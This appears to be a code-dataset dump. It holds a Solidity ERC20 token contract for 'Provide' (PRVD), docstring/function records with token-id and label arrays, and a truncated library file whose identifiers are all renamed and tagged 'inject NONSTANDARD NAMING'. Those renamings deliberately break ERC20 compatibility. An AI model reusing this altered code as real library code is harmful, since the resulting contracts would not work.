balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } /** * @title ERC20Decimals * @dev Implementation of the ERC20Decimals. Extension of {ERC20} that adds decimals storage slot. */ abstract contract ERC20Decimals is ERC20 { uint8 immutable private _decimals; /** * @dev Sets the value of the `decimals`. This value is immutable, it can only be * set once during construction. */ constructor (uint8 decimals_) { _decimals = decimals_; } function decimals() public view virtual override returns (uint8) { return _decimals; } } /** * @title ProvideERC20 * @dev Implementation of the StandardERC20 for the PRVD token */ contract ProvideERC20 is ERC20Decimals { constructor () ERC20("Provide", "PRVD") ERC20Decimals(8) payable { uint256 _totalSupply = 15000000000000000; _mint(_msgSender(), _totalSupply); } function decimals() public view virtual override returns (uint8) { return super.decimals(); } }
* @dev Creates `amount` tokens and assigns them to `account`, increasing the total supply. Emits a {Transfer} event with `from` set to the zero address. Requirements: - `to` cannot be the zero address./
function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); }
2,307,942
[ 1, 2729, 1375, 8949, 68, 2430, 471, 22698, 2182, 358, 1375, 4631, 9191, 21006, 326, 2078, 14467, 18, 7377, 1282, 279, 288, 5912, 97, 871, 598, 1375, 2080, 68, 444, 358, 326, 3634, 1758, 18, 29076, 30, 300, 1375, 869, 68, 2780, 506, 326, 3634, 1758, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 389, 81, 474, 12, 2867, 2236, 16, 2254, 5034, 3844, 13, 2713, 5024, 288, 203, 565, 2583, 12, 4631, 480, 1758, 12, 20, 3631, 315, 654, 39, 3462, 30, 312, 474, 358, 326, 3634, 1758, 8863, 203, 203, 565, 389, 5771, 1345, 5912, 12, 2867, 12, 20, 3631, 2236, 16, 3844, 1769, 203, 203, 565, 389, 4963, 3088, 1283, 1011, 3844, 31, 203, 565, 389, 70, 26488, 63, 4631, 65, 1011, 3844, 31, 203, 565, 3626, 12279, 12, 2867, 12, 20, 3631, 2236, 16, 3844, 1769, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/71401/0x1b35d875d3b32ffCE91fe9189EA671f123B64a92/sources/contracts/StablePool/meta/MetaStablePoolFactory.sol
* @dev Deploys a new `MetaStablePool`./
function create( string memory name, string memory symbol, IERC20[] memory tokens, uint256 amplificationParameter, IRateProvider[] memory rateProviders, uint256[] memory priceRateCacheDuration, uint256 swapFeePercentage, address owner ) external returns (address) { (uint256 pauseWindowDuration, uint256 bufferPeriodDuration) = getPauseConfiguration(); return _create( abi.encode( MetaStablePool.NewPoolParams({ vault: getVault(), name: name, symbol: symbol, tokens: tokens, rateProviders: rateProviders, priceRateCacheDuration: priceRateCacheDuration, amplificationParameter: amplificationParameter, swapFeePercentage: swapFeePercentage, pauseWindowDuration: pauseWindowDuration, bufferPeriodDuration: bufferPeriodDuration, oracleEnabled: false, owner: owner }) ) ); }
7,101,421
[ 1, 16316, 383, 1900, 279, 394, 1375, 2781, 30915, 2864, 8338, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 752, 12, 203, 3639, 533, 3778, 508, 16, 203, 3639, 533, 3778, 3273, 16, 203, 3639, 467, 654, 39, 3462, 8526, 3778, 2430, 16, 203, 3639, 2254, 5034, 2125, 412, 1480, 1662, 16, 203, 3639, 467, 4727, 2249, 8526, 3778, 4993, 10672, 16, 203, 3639, 2254, 5034, 8526, 3778, 6205, 4727, 1649, 5326, 16, 203, 3639, 2254, 5034, 7720, 14667, 16397, 16, 203, 3639, 1758, 3410, 203, 565, 262, 3903, 1135, 261, 2867, 13, 288, 203, 3639, 261, 11890, 5034, 11722, 3829, 5326, 16, 2254, 5034, 1613, 5027, 5326, 13, 273, 1689, 1579, 1750, 5621, 203, 203, 3639, 327, 203, 3639, 389, 2640, 12, 203, 5411, 24126, 18, 3015, 12, 203, 7734, 6565, 30915, 2864, 18, 1908, 2864, 1370, 12590, 203, 10792, 9229, 30, 11031, 3714, 9334, 203, 10792, 508, 30, 508, 16, 203, 10792, 3273, 30, 3273, 16, 203, 10792, 2430, 30, 2430, 16, 203, 10792, 4993, 10672, 30, 4993, 10672, 16, 203, 10792, 6205, 4727, 1649, 5326, 30, 6205, 4727, 1649, 5326, 16, 203, 10792, 2125, 412, 1480, 1662, 30, 2125, 412, 1480, 1662, 16, 203, 10792, 7720, 14667, 16397, 30, 7720, 14667, 16397, 16, 203, 10792, 11722, 3829, 5326, 30, 11722, 3829, 5326, 16, 203, 10792, 1613, 5027, 5326, 30, 1613, 5027, 5326, 16, 203, 10792, 20865, 1526, 30, 629, 16, 203, 10792, 3410, 30, 3410, 203, 7734, 289, 13, 203, 5411, 262, 203, 3639, 11272, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.6.12; interface IERC20 { function TOTALSUPPLY831() external view returns (uint256); //inject NONSTANDARD NAMING function BALANCEOF536(address account) external view returns (uint256); //inject NONSTANDARD NAMING function TRANSFER353(address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING function ALLOWANCE946(address owner, address spender) external view returns (uint256); //inject NONSTANDARD NAMING function APPROVE926(address spender, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING function TRANSFERFROM954(address sender, address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING event TRANSFER795(address indexed from, address indexed to, uint256 value); //inject NONSTANDARD NAMING event APPROVAL172(address indexed owner, address indexed spender, uint256 value); //inject NONSTANDARD NAMING } library SafeMath { function ADD659(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function SUB877(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return SUB877(a, b, "SafeMath: subtraction overflow"); } function SUB877(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b <= a, errorMessage); uint256 c = a - b; return c; } function MUL487(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function DIV156(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return DIV156(a, b, "SafeMath: division by zero"); } function DIV156(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function MOD860(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return MOD860(a, b, "SafeMath: modulo by zero"); } function MOD860(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b != 0, errorMessage); return a % b; } } library Address { function ISCONTRACT107(address account) internal view returns (bool) { //inject NONSTANDARD NAMING // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function SENDVALUE513(address payable recipient, uint256 amount) internal { //inject NONSTANDARD NAMING require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } } library SafeERC20 { using SafeMath for uint256; using Address for address; function SAFETRANSFER239(IERC20 token, address to, uint256 value) internal { //inject NONSTANDARD NAMING _CALLOPTIONALRETURN137(token, abi.encodeWithSelector(token.TRANSFER353.selector, to, value)); } function SAFETRANSFERFROM64(IERC20 token, address from, address to, uint256 value) internal { //inject NONSTANDARD NAMING _CALLOPTIONALRETURN137(token, abi.encodeWithSelector(token.TRANSFERFROM954.selector, from, to, value)); } function SAFEAPPROVE765(IERC20 token, address spender, uint256 value) internal { //inject NONSTANDARD NAMING // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.ALLOWANCE946(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _CALLOPTIONALRETURN137(token, abi.encodeWithSelector(token.APPROVE926.selector, spender, value)); } function SAFEINCREASEALLOWANCE134(IERC20 token, address spender, uint256 value) internal { //inject NONSTANDARD NAMING uint256 newAllowance = token.ALLOWANCE946(address(this), spender).ADD659(value); _CALLOPTIONALRETURN137(token, abi.encodeWithSelector(token.APPROVE926.selector, spender, newAllowance)); } function SAFEDECREASEALLOWANCE546(IERC20 token, address spender, uint256 value) internal { //inject NONSTANDARD NAMING uint256 newAllowance = token.ALLOWANCE946(address(this), spender).SUB877(value, "SafeERC20: decreased allowance below zero"); _CALLOPTIONALRETURN137(token, abi.encodeWithSelector(token.APPROVE926.selector, spender, newAllowance)); } function _CALLOPTIONALRETURN137(IERC20 token, bytes memory data) private { //inject NONSTANDARD NAMING // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).ISCONTRACT107(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } function _ADD286(Set storage set, bytes32 value) private returns (bool) { //inject NONSTANDARD NAMING if (!_CONTAINS837(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } function _REMOVE863(Set storage set, bytes32 value) private returns (bool) { //inject NONSTANDARD NAMING // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } function _CONTAINS837(Set storage set, bytes32 value) private view returns (bool) { //inject NONSTANDARD NAMING return set._indexes[value] != 0; } function _LENGTH639(Set storage set) private view returns (uint256) { //inject NONSTANDARD NAMING return set._values.length; } function _AT524(Set storage set, uint256 index) private view returns (bytes32) { //inject NONSTANDARD NAMING require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } function ADD659(AddressSet storage set, address value) internal returns (bool) { //inject NONSTANDARD NAMING return _ADD286(set._inner, bytes32(uint256(value))); } function REMOVE976(AddressSet storage set, address value) internal returns (bool) { //inject NONSTANDARD NAMING return _REMOVE863(set._inner, bytes32(uint256(value))); } function CONTAINS600(AddressSet storage set, address value) internal view returns (bool) { //inject NONSTANDARD NAMING return _CONTAINS837(set._inner, bytes32(uint256(value))); } function LENGTH659(AddressSet storage set) internal view returns (uint256) { //inject NONSTANDARD NAMING return _LENGTH639(set._inner); } function AT450(AddressSet storage set, uint256 index) internal view returns (address) { //inject NONSTANDARD NAMING return address(uint256(_AT524(set._inner, index))); } // UintSet struct UintSet { Set _inner; } function ADD659(UintSet storage set, uint256 value) internal returns (bool) { //inject NONSTANDARD NAMING return _ADD286(set._inner, bytes32(value)); } function REMOVE976(UintSet storage set, uint256 value) internal returns (bool) { //inject NONSTANDARD NAMING return _REMOVE863(set._inner, bytes32(value)); } function CONTAINS600(UintSet storage set, uint256 value) internal view returns (bool) { //inject NONSTANDARD NAMING return _CONTAINS837(set._inner, bytes32(value)); } function LENGTH659(UintSet storage set) internal view returns (uint256) { //inject NONSTANDARD NAMING return _LENGTH639(set._inner); } function AT450(UintSet storage set, uint256 index) internal view returns (uint256) { //inject NONSTANDARD NAMING return uint256(_AT524(set._inner, index)); } } contract Initializable { bool private initialized; bool private initializing; modifier INITIALIZER933() { //inject NONSTANDARD NAMING require(initializing || ISCONSTRUCTOR543() || !initialized, "Contract instance has already been initialized"); bool isTopLevelCall = !initializing; if (isTopLevelCall) { initializing = true; initialized = true; } _; if (isTopLevelCall) { initializing = false; } } function ISCONSTRUCTOR543() private view returns (bool) { //inject NONSTANDARD NAMING // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. address self = address(this); uint256 cs; assembly { cs := extcodesize(self) } return cs == 0; } // Reserved storage space to allow for layout changes in the future. uint256[50] private ______gap; } contract ContextUpgradeSafe is Initializable { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. function __CONTEXT_INIT408() internal INITIALIZER933 { //inject NONSTANDARD NAMING __CONTEXT_INIT_UNCHAINED28(); } function __CONTEXT_INIT_UNCHAINED28() internal INITIALIZER933 { //inject NONSTANDARD NAMING } function _MSGSENDER195() internal view virtual returns (address payable) { //inject NONSTANDARD NAMING return msg.sender; } function _MSGDATA356() internal view virtual returns (bytes memory) { //inject NONSTANDARD NAMING this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } contract OwnableUpgradeSafe is Initializable, ContextUpgradeSafe { address private _owner; event OWNERSHIPTRANSFERRED637(address indexed previousOwner, address indexed newOwner); //inject NONSTANDARD NAMING function __OWNABLE_INIT503() internal INITIALIZER933 { //inject NONSTANDARD NAMING __CONTEXT_INIT_UNCHAINED28(); __OWNABLE_INIT_UNCHAINED19(); } function __OWNABLE_INIT_UNCHAINED19() internal INITIALIZER933 { //inject NONSTANDARD NAMING address msgSender = _MSGSENDER195(); _owner = msgSender; emit OWNERSHIPTRANSFERRED637(address(0), msgSender); } function OWNER330() public view returns (address) { //inject NONSTANDARD NAMING return _owner; } modifier ONLYOWNER691() { //inject NONSTANDARD NAMING require(_owner == _MSGSENDER195(), "Ownable: caller is not the owner"); _; } function RENOUNCEOWNERSHIP236() public virtual ONLYOWNER691 { //inject NONSTANDARD NAMING emit OWNERSHIPTRANSFERRED637(_owner, address(0)); _owner = address(0); } function TRANSFEROWNERSHIP889(address newOwner) public virtual ONLYOWNER691 { //inject NONSTANDARD NAMING require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OWNERSHIPTRANSFERRED637(_owner, newOwner); _owner = newOwner; } uint256[49] private __gap; } interface INBUNIERC20 { function TOTALSUPPLY831() external view returns (uint256); //inject NONSTANDARD NAMING function BALANCEOF536(address account) external view returns (uint256); //inject NONSTANDARD NAMING function TRANSFER353(address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING function ALLOWANCE946(address owner, address spender) external view returns (uint256); //inject NONSTANDARD NAMING function APPROVE926(address spender, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING function TRANSFERFROM954(address sender, address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING event TRANSFER795(address indexed from, address indexed to, uint256 value); //inject NONSTANDARD NAMING event APPROVAL172(address indexed owner, address indexed spender, uint256 value); //inject NONSTANDARD NAMING event LOG470(string log); //inject NONSTANDARD NAMING } library console { address constant console_address243 = address(0x000000000000000000636F6e736F6c652e6c6f67); //inject NONSTANDARD NAMING function _SENDLOGPAYLOAD647(bytes memory payload) private view { //inject NONSTANDARD NAMING uint256 payloadLength = payload.length; address consoleAddress = console_address243; assembly { let payloadStart := add(payload, 32) let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0) } } function LOG714() internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log()")); } function LOGINT241(int p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(int)", p0)); } function LOGUINT442(uint p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint)", p0)); } function LOGSTRING55(string memory p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string)", p0)); } function LOGBOOL721(bool p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool)", p0)); } function LOGADDRESS713(address p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address)", p0)); } function LOGBYTES271(bytes memory p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes)", p0)); } function LOGBYTE944(byte p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(byte)", p0)); } function LOGBYTES1701(bytes1 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes1)", p0)); } function LOGBYTES2946(bytes2 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes2)", p0)); } function LOGBYTES314(bytes3 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes3)", p0)); } function LOGBYTES4424(bytes4 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes4)", p0)); } function LOGBYTES566(bytes5 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes5)", p0)); } function LOGBYTES6220(bytes6 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes6)", p0)); } function LOGBYTES7640(bytes7 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes7)", p0)); } function LOGBYTES8995(bytes8 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes8)", p0)); } function LOGBYTES9199(bytes9 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes9)", p0)); } function LOGBYTES10336(bytes10 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes10)", p0)); } function LOGBYTES11706(bytes11 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes11)", p0)); } function LOGBYTES12632(bytes12 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes12)", p0)); } function LOGBYTES13554(bytes13 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes13)", p0)); } function LOGBYTES14593(bytes14 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes14)", p0)); } function LOGBYTES15340(bytes15 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes15)", p0)); } function LOGBYTES16538(bytes16 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes16)", p0)); } function LOGBYTES17699(bytes17 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes17)", p0)); } function LOGBYTES18607(bytes18 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes18)", p0)); } function LOGBYTES19918(bytes19 p0) internal view { //inject NONSTANDARD 